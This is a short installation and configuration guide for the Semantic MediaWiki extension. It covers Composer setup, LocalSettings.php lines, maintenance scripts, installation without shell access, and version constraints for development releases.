# Installation guide (brief)
This is a brief installation and configuration guide for [Semantic MediaWiki](../README.md) (SMW)
that only contains the core steps. More verbose installation instructions with additional explanation
and upgrading instructions can be found [here](https://www.semantic-mediawiki.org/wiki/Help:Installation).
A list of supported PHP versions, MediaWiki versions and databases per SMW release can be found
in the [compatibility matrix](COMPATIBILITY.md).
## Download and installation
### Installation
The recommended way to install Semantic MediaWiki is with [Composer](https://getcomposer.org) using
[MediaWiki's built-in support for Composer](https://www.mediawiki.org/wiki/Composer).
#### Step 1
Change to the base directory of your MediaWiki installation. If you do not have a "composer.local.json" file yet,
create one and add the following content to it:
```
{
"require": {
"mediawiki/semantic-media-wiki": "^5.0.0"
}
}
```
If you already have a "composer.local.json" file add the following line to the end of the "require"
section in your file:
"mediawiki/semantic-media-wiki": "^5.0.0"
Remember to add a comma to the end of the preceding line in this section.
#### Step 2
Run the following command in your shell:
php composer.phar update --no-dev
Note if you have Git installed on your system add the `--prefer-source` flag to the above command.
#### Step 3
Add the following two lines to the end of your "LocalSettings.php" file:
wfLoadExtension( 'SemanticMediaWiki' );
enableSemantics( 'example.org' );
Note that "example.org" should be replaced by your wiki's domain.
#### Step 4
Run the MediaWiki [update script](https://www.mediawiki.org/wiki/Manual:Update.php). The location of
this script is `maintenance/update.php`. It can be run as follows in your shell:
php maintenance/update.php
#### Step 5
If you are installing SMW on a freshly installed wiki then you are done. If the wiki already has content
pages run the Semantic MediaWiki [data rebuild script](https://www.semantic-mediawiki.org/wiki/Help:Maintenance_script_"rebuildData.php"). The location of this script
is `extensions/SemanticMediaWiki/maintenance/rebuildData.php`. It can be run as follows in your shell:
php extensions/SemanticMediaWiki/maintenance/rebuildData.php -v
### Installation without shell access
As an alternative to installing via Composer, you can obtain the SMW code by creating your own [individual file release](https://github.com/SemanticMediaWiki/IndividualFileRelease) most likely if command line access to the webspace is not available or if the hoster imposes restrictions on required functionality.
Note that SMW no longer provides file releases [(See #3347).](https://github.com/SemanticMediaWiki/SemanticMediaWiki/pull/1732)
#### Step 1
Create your [individual file release](https://github.com/SemanticMediaWiki/IndividualFileRelease) using the respective script. Please pay attention to the MediaWiki version used in the script and adapt to your setup if necessary.
#### Step 2
Transfer the code thus compiled to the appropriate folders on your webspace.
#### Step 3
Add the following lines to the end of your "LocalSettings.php" file:
enableSemantics( 'example.org' );
Note that "example.org" should be replaced by your wiki's domain.
#### Step 4
Log in as a user with administrator permission to your wiki and go to the "Maintenance" tab on special page "Special:SemanticMediaWiki":
Click on the "Initialise or upgrade tables" button in the "Database maintenance" section to setup the
database.
#### Step 5
If you are installing SMW on a freshly installed wiki then you are done. If the wiki already has content
pages also do the following on page "Special:SemanticMediaWiki":
Click on the "Start updating data" button in the "Data rebuild" subsection of "Maintenance" tab
to activate the [automatic data update](https://www.semantic-mediawiki.org/wiki/Help:Repairing_SMW's_data).
### Installation of development versions and release candidates
If you would like to install a development version or release candidate then replace the lines as stated in step 3 of the
"Installation with Composer" section with the following line
* master: `"mediawiki/semantic-media-wiki": "dev-master"`
* legacy branch: `"mediawiki/semantic-media-wiki": "~5.0.0@dev"`
* release candidate: `"mediawiki/semantic-media-wiki": "~5.0@rc"`
